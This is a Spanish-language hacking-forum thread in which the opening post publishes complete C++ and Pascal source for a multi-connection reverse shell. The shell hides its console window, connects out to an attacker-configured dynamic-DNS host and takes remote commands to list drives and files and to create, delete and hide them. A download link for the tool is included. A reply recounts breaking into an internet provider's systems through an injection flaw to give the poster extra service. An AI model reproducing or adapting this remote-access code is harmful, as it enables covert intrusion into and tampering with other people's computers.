elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


+  Foro de elhacker.net
|-+  Programación
| |-+  Programación General
| | |-+  [Pascal+C++] WarCSockLib(+demo shellinversa)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Pascal+C++] WarCSockLib(+demo shellinversa)  (Leído 1,958 veces)
WarZ0n3

Desconectado Desconectado

Mensajes: 22


Ver Perfil
[Pascal+C++] WarCSockLib(+demo shellinversa)
« en: 2 Septiembre 2013, 04:05 am »

Saludos.
Como estos últimos 2 días los tuve libre, se me ocurrió elaborar un shell inversa en pascal
pero no era suficiente, el tema ya se ha tocado, así que decidí agregarle un factor X,
ya hace meses que no hago nada en C/C++ y la verdad es que me dieron ganas de
de fusionar el poder de C con el de pascal, así que cree esta simple librería, por supuesto
esto es solo una beta, falta mucho que agregar, y corregir, ademas esta pequeña
shell solo tiene como propósito demostrar lo que se podría hacer juntando estos 2 lenguajes.

propiedades de la shell:
 
  • Multiconexión
  • Migrar las sesiones de las conexiones actuales
  • Lista archivos y carpetas
  • Muestra información de las unidades del sistema
  • Despliega información de un archivo(como la ultima fecha de modificación, peso, etc..)
  • Permite borrar archivos/carpetas, crearlas, esconderlas
  • Muestra la hora del sistema
  • ip y demas...
Las contras son que tienen varios fallos, muchas veces en la escritura de los sockets.
Por que como dije, en estos 2 días no corregí todo ademas hay funciones que deben
ser cambiadas...

También quería comentar que estuve estudiando AT&T y se me hizo un tanto más difícil que
la sintaxis de intel(por lo menos ami).

el administrador de la shell lo dejare en la descarga ya que es muy simple.
Esta programado con tserversocket.


Link para descarga de la shell: http://www.mediafire.com/download/d1g9ehi227ctkka/WarShell.rar

Sin mas que decir el código de la .dll en C++

Código
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <winsock.h>
  5. #include <time.h>
  6.  
  7. /*
  8.               Las siguientes funciones como los desensamblados
  9.               en ImmDbg fueron escritas en AT&T por Warz0n3,
  10.               puedes encontrarme en indetectables.net y
  11.               foro.elhacker.net por cualquier duda que tengas.
  12.              
  13. */
  14.  
  15. #define CALLEXPORT extern "C"
  16. #define __callspec __declspec(dllexport)
  17.  
  18. typedef struct _wc_sconf
  19. {
  20.         HANDLE              hFile;
  21.         WIN32_FIND_DATA     FindFile;
  22.         time_t              rawtime;
  23.         struct              tm *timeinfo;
  24. } pwc_confsock;
  25.  
  26. #define drive_sz 27
  27.  
  28. #define BYTE_NO_ALIGN                   -0x1
  29. #define BYTE_ALIGN                      0x1
  30.  
  31. #define DRIVER_DESCONOCIDO              0x0
  32. #define DRIVER_SYSLEN                   0x4
  33. #define DRIVER_DESMONTABLE              0x2
  34. #define DRIVER_FIJO                     0x3
  35. #define DRIVER_REMOTO                   0x4
  36. #define DRIVER_CDROM                    0x5
  37. #define DRIVER_RAMDISK                  0x6
  38.  
  39. const LPCWSTR drivers[drive_sz] = {
  40.            L"A:/", L"B:/", L"C:/", L"D:/",
  41.            L"E:/", L"F:/", L"G:/", L"H:/",
  42.            L"I:/", L"J:/", L"K:/", L"L:/",
  43.            L"M:/", L"N:/", L"O:/", L"P:/",
  44.            L"Q:/", L"R:/", L"S:/", L"T:/",
  45.            L"U:/", L"V:/", L"W:/", L"X:/",
  46.            L"Y:/", L"Z:/"};
  47. UINT driver_type; // unsigned int
  48. char *driver_buff[_MAX_PATH];
  49.  
  50.  
  51. CALLEXPORT
  52. {         // compara que 2 integros sean iguales, si lo son retorna el valor constante
  53.           // de nuestro operando(sin signo) y si no es igual retorna -1
  54.           __callspec __stdcall int WIN32__volatil__cmplogic(int cmpval, int retval)
  55.           {
  56.           asm volatile ( // no guardamos la variable en el microprocesador
  57.                "sub $0x4, %%esp\n"
  58.                "mov 0x8(%%ebp), %%eax\n" // preparamos el s.frame
  59.                "cmp 0xc(%%ebp), %%eax\n" // comparamos el parametro de la variable (este es el puntero pre-definido por el stack frame)
  60.                "jne a2\n"                // si la comparacion dio negativa saltamos a a2
  61.                // lo preparamos por si es igual (1)
  62.                "movl $0x1, %%eax\n"      //  movemos positivo(1) a eax
  63.                "movl %%eax, %0\n"        // movemos eax a eax
  64.                "nop\n"
  65.  
  66.                "mov 0xc(%%ebp), %%eax\n"
  67.                "mov %%eax, 0xfffffffc(%%ebp)\n"
  68.                "jmp a3\n" // si es igual saltamos a a3
  69.  
  70.                "a2: movl $0xffffffff, 0xfffffffc(%%ebp)\n" // si no es igual mueve -1 a ebp
  71.                "a3: mov 0xfffffffc(%%ebp), %%eax\n"
  72.  
  73.                "leave\n"
  74.                "ret\n" // salimos y retornamos de la funcion
  75.  
  76.                :"=r"(retval)             // y en el output de solo escritura retornamos la variable
  77.                :"r"(0x00000000)          // movemos el octeto de 0 en el input (solo para preparar)
  78.  
  79.            );
  80.        }
  81.           /*
  82.               intel x86
  83.               Como se ve mi funcion en ImmDbg
  84.               00401290  /$ 55             PUSH EBP
  85.               00401291  |. 89E5           MOV EBP,ESP
  86.               00401293  |. 83EC 08        SUB ESP,8
  87.               00401299  |. 8D45 08        LEA EAX,DWORD PTR SS:[EBP+8]             ; |
  88.               0040129C  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
  89.               004012A0  |. C70424 0200000>MOV DWORD PTR SS:[ESP],2                 ; |
  90.               004012A7  |. E8 94010000    CALL <JMP.&WS2_32.WSAStartup>            ; \WSAStartup
  91.               004012AC  |. 83EC 08        SUB ESP,8
  92.               004012B2  |. C9             LEAVE
  93.               004012B3  \. C3             RETN
  94.              
  95.               Funcion en AT&T
  96.              
  97.              push %ebp , mov %esp , %ebp <- en este caso no lo hago por que las functiones en c++
  98.            ya se inicializan con el stack frame pre-configurado...
  99.            
  100.               401293: 83 ec 08             sub    $0x8,%esp
  101.               .......
  102.               401299: 8d 45 08             lea    0x8(%ebp),%eax
  103.               40129c: 89 44 24 04           mov    %eax,0x4(%esp)
  104.               4012a0: c7 04 24 02 00 00 00 movl   $0x2,(%esp)
  105.               4012a7: e8 94 01 00 00       call   0x401440
  106.               4012ac: 83 ec 08             sub    $0x8,%esp
  107.               .......
  108.               4012b2: c9                   leave  
  109.               4012b3: c3                   ret  
  110.            */
  111.           __callspec __stdcall void wcsock_init_driver(WSADATA wsa)
  112.           {
  113.                      __asm__(
  114.                              "sub $0x8, %esp                   \n"
  115.                              "lea 0x8(%ebp), %eax              \n"
  116.                              "mov %eax, 0x4(%esp)              \n"
  117.                              "movl $0x2,(%esp)                 \n"
  118.                              "call _WSAStartup@8               \n"
  119.                              "sub $0x8, %esp                   \n"
  120.                              "leave                            \n"
  121.                              "ret                              \n"
  122.                      );
  123.           }
  124.  
  125.           __callspec __stdcall void wcsock_connect_matrix(SOCKET wc_tcpsock, struct sockaddr_in saddr)
  126.           {
  127.               connect(wc_tcpsock, (struct sockaddr *)&saddr, sizeof(saddr));          
  128.           }
  129.  
  130.  
  131.           /* Como se ve mi funcion en ImmDbg
  132.             004012B0  /$ 55             PUSH EBP
  133.             004012B1  |. 89E5           MOV EBP,ESP
  134.             004012B3  |. 83EC 08        SUB ESP,8
  135.             ...
  136.             004012B9  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
  137.             004012BC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
  138.             004012BF  |. E8 9C010000    CALL <JMP.&WS2_32.closesocket>           ; \closesocket
  139.             004012C4  |. 83EC 04        SUB ESP,4
  140.             004012C7  |. E8 A4010000    CALL <JMP.&WS2_32.WSACleanup>            ; [WSACleanup
  141.             ...
  142.             004012CF  |. C9             LEAVE
  143.             004012D0  \. C3             RETN
  144.            
  145.             los mov eax, ebp y esp son los parametros al s.frame incluso
  146.             el de subs para volver, y una ves llamada la funcion salgo.
  147.             */
  148.  
  149.           __callspec __stdcall void wcsock_free(SOCKET wc_tcpsock)
  150.           {
  151.               __asm__(
  152.                        "mov 0x8(%ebp), %eax            \n"
  153.                        "mov %eax, (%esp)               \n"
  154.                        "call _closesocket@4            \n"
  155.                        "sub $0x4, %esp                 \n"
  156.                        "call _WSACleanup@0             \n"
  157.                        "leave                          \n"
  158.                        "ret                            \n"
  159.              );
  160.           }
  161.           /*
  162.            // Simple peticion por GET.
  163.            __callspec __stdcall char* wcsock_get_proto(SOCKET sock, int buffsize)
  164.            {
  165.                char reply[buffsize], *metodo;
  166.                metodo= "GET / HTTP/1.1\r\n\r\n";
  167.                send(sock, metodo, strlen(metodo), 0);
  168.                recv(sock, reply, buffsize, 0);
  169.                return reply;
  170.            }*/
  171.           /* intel x86
  172.             00401299  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; ||
  173.             0040129C  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||
  174.             0040129F  |. E8 AC070000    CALL <JMP.&msvcrt.strlen>                ; |\strlen
  175.             004012A4  |. C74424 0C 0000>MOV DWORD PTR SS:[ESP+C],0               ; |
  176.             004012AC  |. 894424 08      MOV DWORD PTR SS:[ESP+8],EAX             ; |
  177.             004012B0  |. 8B45 0C        MOV EAX,DWORD PTR SS:[EBP+C]             ; |
  178.             004012B3  |. 894424 04      MOV DWORD PTR SS:[ESP+4],EAX             ; |
  179.             004012B7  |. 8B45 08        MOV EAX,DWORD PTR SS:[EBP+8]             ; |
  180.             004012BA  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; |
  181.             004012BD  |. E8 9E010000    CALL <JMP.&WS2_32.send>                  ; \send
  182.             004012C2  |. 83EC 10        SUB ESP,10
  183.             La config de s.frame se da igual que en los otros casos...
  184.             @necesario para el compilador
  185.            */
  186.           __callspec __stdcall void wcsock_sendstr(SOCKET sock, char *msg)
  187.           {
  188.               __asm__(
  189.               "sub $0x18,%esp           \n"
  190.               "mov 0xc(%ebp), %eax      \n"
  191.               "mov %eax, (%esp)         \n"
  192.               "call _strlen             \n"
  193.               "movl $0x0, 0xc(%esp)     \n"
  194.               "mov %eax, 0x8(%esp)      \n"
  195.               "mov 0xc(%ebp), %eax      \n"
  196.               "mov %eax, 0x4(%esp)      \n"
  197.               "mov 0x8(%ebp), %eax      \n"
  198.               "mov %eax,(%esp)          \n"
  199.               "call _send@16            \n"
  200.               "sub $0x10,%esp           \n"
  201.               "leave                    \n"
  202.               "ret                      \n"
  203.               );
  204.           }
  205.  
  206.           __callspec __stdcall void WIN32SendFindFile(SOCKET wc_tcpsock, char *path
  207.                      , char *delim, int SOCK_TYPE)
  208.           {
  209.               pwc_confsock sfile;
  210.               char fpath[_MAX_PATH], *ffpath[_MAX_PATH];
  211.                                      //char *driver_buff[_MAX_PATH];
  212.               strcpy(fpath, path);
  213.               sfile.hFile= FindFirstFile(fpath, &sfile.FindFile);
  214.               while (FindNextFile(sfile.hFile, &sfile.FindFile)!=false)
  215.               {
  216.                     if (ffpath[0]==0x0) send(wc_tcpsock, (const char *)delim, strlen(delim), SOCK_TYPE);
  217.                     ffpath[0]= strcat(sfile.FindFile.cFileName, delim);
  218.                     send(wc_tcpsock, ffpath[0], strlen(sfile.FindFile.cFileName), SOCK_TYPE);
  219.               }
  220.           }
  221.  
  222.           __callspec __stdcall void wcsock_double_buffer_send(SOCKET wc_tcpsock, char *dbuffer,
  223.                     char *permutar )
  224.           {
  225.               for (int i=BYTE_ALIGN; i<=0x2; i++){
  226.                   wcsock_sendstr(wc_tcpsock, dbuffer);
  227.                   if ( WIN32__volatil__cmplogic(0x2, i+0x1)!=BYTE_NO_ALIGN)
  228.  
  229.                      __asm__ volatile( "movl %0, %%eax" : "=r"(dbuffer) : "r"(permutar) ); // lo pongo en el GPR y el registro es el acumulativo
  230.  
  231.               }
  232.           }
  233.  
  234.           __callspec __stdcall char *WIN32GetLogicalDrivers(int *, char *delim, int forsignal, int *)
  235.           {
  236.                       driver_type= GetDriveTypeW(drivers[forsignal]);
  237.                       #ifdef DRIVER_DESCONOCIDO
  238.                       if (driver_type==DRIVER_DESCONOCIDO)return (char *)drivers[forsignal];
  239.                       #endif
  240.                       #ifdef DRIVER_DESMONTABLE
  241.                       if (driver_type==DRIVER_DESMONTABLE)return (char *)drivers[forsignal];
  242.                       #endif
  243.                       #ifdef DRIVER_FIJO
  244.                       if (driver_type==DRIVER_FIJO)return (char *)drivers[forsignal];
  245.                       #endif
  246.                       #ifdef DRIVER_REMOTO
  247.                       if (driver_type==DRIVER_REMOTO)return (char *)drivers[forsignal];
  248.                       #endif
  249.                       #ifdef DRIVER_CDROM
  250.                       if (driver_type==DRIVER_CDROM)return (char *)drivers[forsignal];
  251.                       #endif
  252.                       #ifdef DRIVER_RAMDISK
  253.                       if (driver_type==DRIVER_RAMDISK)return (char *)drivers[forsignal];
  254.                       #endif
  255.           }
  256.  
  257.           /*
  258.             004014E9  |. 8D45 FC        LEA EAX,DWORD PTR SS:[EBP-4]             ; ||||
  259.             004014EC  |. 890424         MOV DWORD PTR SS:[ESP],EAX               ; ||||
  260.             004014EF  |. E8 8C050000    CALL <JMP.&msvcrt.time>                  ; |||\time
  261.            */
  262.           __callspec __stdcall void WIN32SendSysTime(SOCKET wc_tcpsock, char *delim, int SOCK_TYPE)
  263.           {
  264.               pwc_confsock stime;
  265.               stime.timeinfo = localtime ( &stime.rawtime );
  266.               printf ( "Current local time and date: %s", asctime (stime.timeinfo) );
  267.               send(wc_tcpsock, asctime(stime.timeinfo), 0x248, SOCK_TYPE);
  268.           }
  269.  
  270.           __callspec __stdcall void WIN32SendCurrentDir(SOCKET wc_tcpsock, TCHAR delim,
  271.                      int SOCK_TYPE)
  272.           {
  273.               DWORD nBufferLength;
  274.               TCHAR lpBuffer[2048]= {delim}; //strlen((const char*)delim)
  275.               GetCurrentDirectory(nBufferLength, lpBuffer+0x1);
  276.               send(wc_tcpsock, lpBuffer, strlen(lpBuffer), SOCK_TYPE);
  277.           }
  278.  
  279.  
  280.           //int PASCAL recv(SOCKET,char*,int,int);
  281.           /*__callspec __stdcall int wcsock_recv(SOCKET sock, char *recv_buffer
  282.                       , int type_sock)
  283.            {
  284.                return recv(sock, recv_buffer, strlen(recv_buffer), type_sock);
  285.            }*/
  286. }

El servidor de la shell

Código
  1. program WarCSock;
  2.  
  3. uses
  4.  SysUtils,
  5.  WINDOWS,
  6.  WinSock,
  7.  Kol;
  8.  
  9. {$APPTYPE CONSOLE}
  10.  
  11. const
  12.  warcsock_lib = 'WarCSock.dll';
  13.  
  14.  WCS_SOCK_STREAM             = $00000001;
  15.  WCS_TCP_INET                = $00000002;
  16.  WCS_PROTO_TCP               = $00000006;
  17.  WCS_SOCK_ZERO               = $00000000;
  18.  DRIVER_SYSLEN               = $0000001B;
  19.  BYTE_NO_ALIGN               =-$00000001;
  20.  
  21.  // I/O
  22.  WCS_FILE_SHARE_READ         = $00000001;
  23.  WCS_FILE_SHARE_WRITE        = $00000002;
  24.  WCS_FILE_ATTR_NORMAL        = $00000080;
  25.  WCS_FILE_CREATE             = $00000002;
  26.  WCS_FILE_ATTR_READONLY      = $00000001 platform;
  27.  WCS_FILE_ATTR_HIDDEN        = $00000002 platform;
  28.  WCS_FILE_ATTR_SYSTEM        = $00000004 platform;
  29.  WCS_FILE_ATTR_DIR           = $00000010;
  30.  WCS_FILE_ATTR_ARCHIVE       = $00000020 platform;
  31.  
  32. // simple encriptacion de los valores chars en bytes
  33. EncryptedHashBytesBuffer    : array[0..25] of Integer= (
  34.    $B6-105 xor (3 shl 2), $B2-112, $A0-77 xor (2 shl 3),
  35.    $44,  $65 xor (2 shl 4), $42 xor (1 shl 2),  $4F xor 2 shl 2,
  36.    $60 xor (5 shl 3), $4B xor 2, $46 xor (3 shl 2),
  37.    $A3-84 xor 4, $B8-108, $B8-107, $4A xor 4, $A4-89 xor 4,
  38.    $70 xor (4 shl 3), $57 xor (3 shl 1), $5A xor (1 shl 3),
  39.    $73 xor 4 shl 3, $64 xor (3 shl 4), $59 xor (3 shl 2),
  40.    $56,  $55 xor 2,  $68 xor (3 shl 4), $5B xor 2, $58 xor 2
  41.  );
  42.  
  43. type
  44.  PHost_addr = ^sock_addr_in;    // la estructura para mis sockets
  45.  
  46.  sock_addr_in  = record
  47.    pAddr       : sockaddr_in;
  48.    WSA         : WsaData;
  49.    TcpSock     : TSocket;
  50.  
  51.    ChBuffer    : array[$00..2048] OF Char;
  52.    PaBuffer    : array[$00..(GETEXTENDEDTEXTMETRICS*2)] OF AnsiChar;
  53.    Strlist     : PStrList;
  54. end;
  55.  
  56. function WIN32__volatil__cmplogic(cmpval, retval: integer): integer; stdcall; external warcsock_lib NAME 'WIN32__volatil__cmplogic';
  57. function wcsock_init_driver(WSA:WsaData) : Integer; stdcall; external warcsock_lib NAME 'wcsock_init_driver';
  58. procedure wcsock_connect_matrix(TcpSock:tSocket; sAddr:sockaddr_in); stdcall; external warcsock_lib NAME 'wcsock_connect_matrix';
  59. function wcsock_get_proto(TcpSock:tSocket; buffSize:Integer) : PChar; stdcall; external warcsock_lib NAME 'wcsock_get_proto';
  60. procedure wcsock_sendstr(TcpSock:tSocket; MSG:string); stdcall; external warcsock_lib NAME 'wcsock_sendstr';
  61. procedure wcsock_double_buffer_send(TcpSock:tSocket; MSG:string; Permutar:string); stdcall; external warcsock_lib NAME 'wcsock_double_buffer_send';
  62. procedure WIN32SendFindFile(TcpSock:tSocket; FPath, Delim: PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendFindFile';
  63. function WIN32GetLogicalDrivers( NullStackFramePointer : Integer; Delim:PChar; DriverList, NullStackFrameRef : Integer): PChar; stdcall; external  warcsock_lib NAME 'WIN32GetLogicalDrivers';
  64. procedure WIN32SendSysTime(TcpSock:tSocket; Delim:PChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendSysTime';
  65. procedure WIN32SendCurrentDir(TcpSock:tSocket; Delim:AnsiChar; SOCK_TYPE:Integer); stdcall; external warcsock_lib NAME 'WIN32SendCurrentDir';
  66. //function wcsock_recv(TcpSock:tSocket; Recv_Buffer:PChar; TypeSock:Integer) : Integer ; stdcall; external warcsock_lib NAME 'wcsock_recv';
  67. procedure wcsock_free(TcpSock:tSocket); stdcall; external warcsock_lib NAME 'wcsock_free';
  68. function GetConsoleWindow : HWND; stdcall; external kernel32 name 'GetConsoleWindow';
  69.  
  70.  
  71. var
  72.  Wsa         : WsaData;
  73.  TcpSock     : TSocket;
  74.  PHostAddr   : PHost_addr;
  75.  
  76.  Host        : string;
  77.  Port        : Uint;
  78.  
  79.  TcpInit     : BOOL;
  80.  sData       : string;
  81.  FAttr       : Integer;
  82.  FHandle     : DWORD;
  83.  
  84. function                          // solo usar para las conexiones remotas
  85.  __call_ix86_getip(): PChar; assembler;
  86. asm
  87.    PUSH EBX
  88.    ADD ESP, 0FFFFFE70h
  89.    PUSH ESP               // configuro de la pila
  90.    PUSH $1
  91.    CALL WSASTARTUP
  92.    PUSH Host // 04081B4h
  93.    CALL GetHostByName
  94.    MOV EAX, [EAX+0Ch]     // puntero en el stack frame
  95.    XOR EDX, EDX
  96.    MOV EAX, [EAX+EDX*4]
  97.    PUSH DWORD PTR [EAX]
  98.    CALL INET_NTOA
  99.    MOV EBX, EAX
  100.    CALL WSACleanup
  101.    MOV EAX, EBX
  102.    ADD ESP, 0190h
  103.    POP EBX
  104.    RETN
  105. end;
  106.  
  107. (*
  108.   0040845D  |. 53             PUSH EBX                                 ; /FileName
  109.   0040845E  |. E8 09FFFFFF    CALL <JMP.&kernel32.DeleteFileA>         ; \DeleteFileA
  110.   *)
  111. function
  112.  AsmDeleteFileA(fname : PCHAR) : integer;
  113. begin
  114.  ASM                // si no existe retorna -1
  115.  OR ESI, 0FFFFFFFFh
  116.  NOP
  117.  END;
  118.  {$I-}
  119.  if FileExists(fname) then
  120.  ASM
  121.    PUSH EBX
  122.    CALL DELETEFILEA
  123.    MOV EBX, $1
  124.    MOV ESI, EBX // retorna 1 si encuentra el archivo
  125.  END; {$I+}
  126. end;
  127.  
  128. function
  129.  WIN32GetDriverList(delim:string) : string;
  130. var
  131.  i           : Integer;
  132.  Hash        : Char;
  133. begin
  134.  Result:= '';
  135.  for i:= 0 to DRIVER_SYSLEN do begin
  136.    for Hash:=Chr(EncryptedHashBytesBuffer[0]) to Chr(EncryptedHashBytesBuffer[25]) do begin
  137.    // preconfiguracion del stack frame cuando es llamada en C aun que en pascal paresca inutil los argumentos son requeridos
  138.      if POS( Hash, WIN32GetLogicalDrivers($0, #0, i, $0) )<>0 then
  139.        Result:= Result+delim+Hash;
  140.    end;
  141.  end;
  142.  Result:= Result;
  143. end;
  144.  
  145. begin
  146.  ShowWindow(GetConsoleWindow, SW_HIDE);
  147.  GetMem(PHostAddr, 3*sizeof(sock_addr_in));
  148.  
  149.  Host:= 'www.tu-noip.com'; // solo usar en caso de conexiones remotas
  150.  Port:=  999;
  151.  
  152.  wcsock_init_driver(WSA);
  153.  ASM
  154.  PUSH WCS_SOCK_ZERO
  155.  PUSH WCS_SOCK_STREAM          // stack frame para la configuracion de mi socket
  156.  PUSH WCS_TCP_INET
  157.  CALL SOCKET
  158.  MOV ESI, EAX
  159.  END;
  160.  
  161.  PHostAddr^.pAddr.sin_family       := WCS_TCP_INET;
  162.  PHostAddr^.pAddr.sin_port         := u_short(htons(Port));
  163.  PHostAddr^.pAddr.sin_addr.s_addr  := inet_addr('127.0.0.1');
  164.                                //inet_addr( __call_ix86_getip() ); SOLO EN CASO DE CONEXIONES REMOTAS
  165.  PHostAddr^.Strlist                := NewStrList;
  166.  
  167.  wcsock_connect_matrix(TcpSock, PHostAddr^.PAddr);
  168.  WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO); //wcsock_send(TcpSock, '&MSG');
  169.  
  170.  while TcpInit=true do begin
  171.    sleep(1 div $5);
  172.    Recv(TcpSock, PHostAddr^.CHBuffer, length(PHostAddr^.CHBuffer), WCS_SOCK_ZERO);
  173.  
  174.    if PHostAddr^.CHBuffer>'' then begin
  175.      //WRITELN( PHostAddr^.chBuffer );
  176.  
  177.      if strpos(PHostAddr^.ChBuffer, 'ls')<>nil then
  178.      begin
  179.        sData:= system.copy(PHostAddr^.ChBuffer, 10, length(PHostAddr^.ChBuffer)-$1);
  180.        WIN32SendFindFile(TcpSock, PChar(sData+'*.*'), '%FILES', WCS_SOCK_ZERO);
  181.      end;
  182.  
  183.      if strpos(PHostAddr^.ChBuffer, 'get_drivers')<>nil then
  184.        wcsock_sendstr(TcpSock, '%DRVLST'+WIN32GetDriverList('-') );
  185.  
  186.      if strpos(PHostAddr^.ChBuffer, 'get_time')<>nil then
  187.        WIN32SendSysTime(TcpSock, '%TIME', WCS_SOCK_ZERO);
  188.  
  189.      if strpos(PHostAddr^.ChBuffer, 'mkfile')<>nil then
  190.      begin       {$I-}
  191.        sData:= system.copy(PHostAddr^.ChBuffer, 8, length(PHostAddr^.ChBuffer));
  192.        if (Windows.CreateFile(PChar(sData), WCS_FILE_SHARE_READ, WCS_FILE_SHARE_WRITE,
  193.          nil, WCS_FILE_CREATE, WCS_FILE_ATTR_NORMAL, 0)<>-1) then
  194.        wcsock_sendstr(TcpSock, 'Archivo '+sData+' creado exitosamente!')
  195.        {$I+}
  196.      end;
  197.  
  198.      if strpos(PHostAddr^.ChBuffer, 'info')<>nil then
  199.      begin
  200.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  201.        if FileExists(sData) then
  202.        begin
  203.          FAttr:= FileGetAttr(PChar(sData));
  204.          if FAttr and WCS_FILE_ATTR_READONLY > 0
  205.            then wcsock_sendstr(TcpSock, '- Archivo de solo lectura')
  206.            else wcsock_sendstr(TcpSock, '- El archivo no es de solo lectura');
  207.          if FAttr and WCS_FILE_ATTR_HIDDEN > 0
  208.            then wcsock_sendstr(TcpSock,'- Archivo oculto')
  209.            else wcsock_sendstr(TcpSock,'- Archivo desoculto');
  210.          if FAttr and WCS_FILE_ATTR_SYSTEM > 0
  211.            then wcsock_sendstr(TcpSock,'- Archivo del sistema')
  212.            else wcsock_sendstr(TcpSock,'- El archivo no es del sistema');
  213.          FAttr:= FileAge(sData);
  214.          wcsock_sendstr(TcpSock, '- fecha de ultima modificacion: '+DateToStr(FileDateToDateTime(FAttr))+
  215.            #13#10+'- tamaño del archivo: '+IntToStr(Kol.FileSize(sData))+' bytes' );
  216.        end
  217.        else if DirectoryExists(sData) then
  218.        begin
  219.          wcsock_sendstr(TcpSock,'- El archivo es de tipo carpeta');
  220.        end
  221.        else begin
  222.          wcsock_sendstr(TcpSock,'- El archivo/carpeta no existe.');
  223.        end;
  224.  
  225.      end;
  226.  
  227.      if strpos(PHostAddr^.ChBuffer, 'hide')<>nil then
  228.      begin {$I-}
  229.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  230.        FileSetAttr(sData, faHidden);
  231.        wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' escondido')
  232.        {$I+}
  233.      end;
  234.      if strpos(PHostAddr^.ChBuffer, 'show')<>nil then
  235.      begin {$I-}
  236.        sData:= system.copy(PHostAddr^.ChBuffer, 6, length(PHostAddr^.ChBuffer));
  237.        FileSetAttr(sData, 0);
  238.        wcsock_sendstr(TcpSock, 'Archivo/carpeta '+sData+' desocultado');
  239.        {$I+}
  240.      end;
  241.  
  242.      if strpos(PHostAddr^.ChBuffer, 'del')<>nil then
  243.      begin
  244.        sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer));
  245.        if (AsmDeleteFileA(PChar(sData))<>BYTE_NO_ALIGN)then
  246.          wcsock_sendstr(TcpSock, 'Archivo borrado correctamente!')
  247.        else
  248.          wcsock_sendstr(TcpSock, 'Archivo no encontrado...');
  249.      end;
  250.      if strpos(PHostAddr^.ChBuffer, 'mkdir')<>nil then
  251.      begin         {$I-}
  252.        sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
  253.        if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(CreateDir(sData)<>false)) then
  254.          wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido creada exitosamente!')
  255.        else
  256.          wcsock_sendstr(TcpSock, 'Se ha producido un error al crear la carpeta');
  257.      end;         {$I+}
  258.      if strpos(PHostAddr^.ChBuffer, 'rmdir')<>nil then
  259.      begin          {$I-}
  260.        sData:= system.copy(PHostAddr^.ChBuffer, 7, length(PHostAddr^.ChBuffer));
  261.        if ((WIN32__volatil__cmplogic(7, 7)<>BYTE_NO_ALIGN)and(RemoveDir(sData)<>false)) then
  262.          wcsock_sendstr(TcpSock, 'La carpeta '+sData+' ha sido borrado correctamente!')
  263.        else
  264.          wcsock_sendstr(TcpSock, 'Se ha producido un error al borrar la carpeta(o esta no existe)');
  265.      end;         {$I+}
  266.  
  267.      if strpos(PHostAddr^.ChBuffer, 'chd')<>nil then
  268.      begin
  269.        sData:= system.copy(PHostAddr^.ChBuffer, 5, length(PHostAddr^.ChBuffer)-$1);
  270.        {$I-}SETCURRENTDIR(sData);{$I+}
  271.      end;
  272.  
  273.      if strpos(PHostAddr^.ChBuffer, 'exit')<>nil then
  274.      begin
  275.        wcsock_sendstr(TcpSock, 'Saliendo del servidor... ');
  276.        TcpInit:= false;
  277.      end;  
  278.  
  279.      WIN32SendCurrentDir(TcpSock, '>', WCS_SOCK_ZERO);
  280.    end;
  281.  
  282.  end;
  283.  
  284.  Shutdown(TcpSock, WCS_TCP_INET);
  285.  wcsock_free(TcpSock);
  286.  FreeMem(PHostAddr);
  287.  
  288. end.









En línea

Owl-City

Desconectado Desconectado

Mensajes: 44

Ésta es mi respuesta, ¿Y tu respuesta?


Ver Perfil
Re: [Pascal+C++] WarCSockLib(+demo shellinversa)
« Respuesta #1 en: 25 Enero 2014, 05:23 am »

Hola,

Amigo, soy un novato en la seguridad informática.
Verás no quiero presumir ni nada por el estilo.
Pero hace aproximadamente 6 meses, logré encontrar una vulnerabilidad en telecable.net.mx, y pues la exploté, porque hacía 5 días atrás le estaban cobrando a mi padre $89 dolares por el servicio, y eso es un robo.
Entonces hice una inyección en el sitio web, pospuesto había muchos parches, y había varias contraseñas de algunos servidores, entonces entre en el administrador que controla todas las líneas de la compañía y me puse algunos lujos en mi línea.
Planeaba borrar todo mi rastro 2 días después porque tenía que ir a ver si quedé en la prepa y si si quedé, e iba a asignarme un ip nueva.
Pero, me pillaron, al siguiente día llegó la PGR a mi casa. Me arrestaron.
Y pues estoy bajo vigilancia, son bastante incompetentes ellos, y yoo me considero un novato, yaa verás como son. No puedo salir del país, ni de mi ciudad por más de una semana.

Y bueno, leo que estas estudiando ATM y me interesa saber en donde estas aprendiendo o que onda con eso.
Me hechas una mano?

Bueno amigo de antemano Gracias y por favor responde.


En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: [Pascal+C++] WarCSockLib(+demo shellinversa)
« Respuesta #2 en: 25 Enero 2014, 05:30 am »

wow! por eso la primera regla del hack en internet es, "nunca ataques a tu isp"

que es PGR?
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
Owl-City

Desconectado Desconectado

Mensajes: 44

Ésta es mi respuesta, ¿Y tu respuesta?


Ver Perfil
Re: [Pascal+C++] WarCSockLib(+demo shellinversa)
« Respuesta #3 en: 26 Enero 2014, 14:19 pm »
